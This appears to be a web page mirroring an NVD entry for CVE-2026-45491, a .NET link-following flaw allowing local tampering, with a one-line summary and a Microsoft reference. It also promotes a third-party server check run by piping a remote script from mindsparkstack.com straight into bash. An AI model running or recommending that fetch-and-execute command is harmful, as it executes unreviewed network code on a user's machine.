NVD · CVE-2026-45491

CVE-2026-45491

Published: Tue, 09 Jun 2026 17:17

CVE-2026-45491

Summary

Improper link resolution before file access ('link following') in .NET allows an unauthorized attacker to perform tampering locally.

Are YOU affected by CVE-2026-45491?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-45491 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491

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